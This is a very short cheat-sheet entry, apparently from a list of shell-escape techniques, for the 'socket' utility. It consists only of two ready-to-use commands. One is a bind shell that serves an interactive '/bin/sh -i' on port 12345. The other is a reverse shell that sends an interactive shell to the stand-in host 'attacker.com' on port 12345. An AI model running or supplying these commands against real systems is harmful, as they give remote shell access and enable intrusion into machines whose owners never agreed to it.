socket

Bind Shell

socket -svp '/bin/sh -i' 12345

Reverse Shell

socket -qvp '/bin/sh -i' attacker.com 12345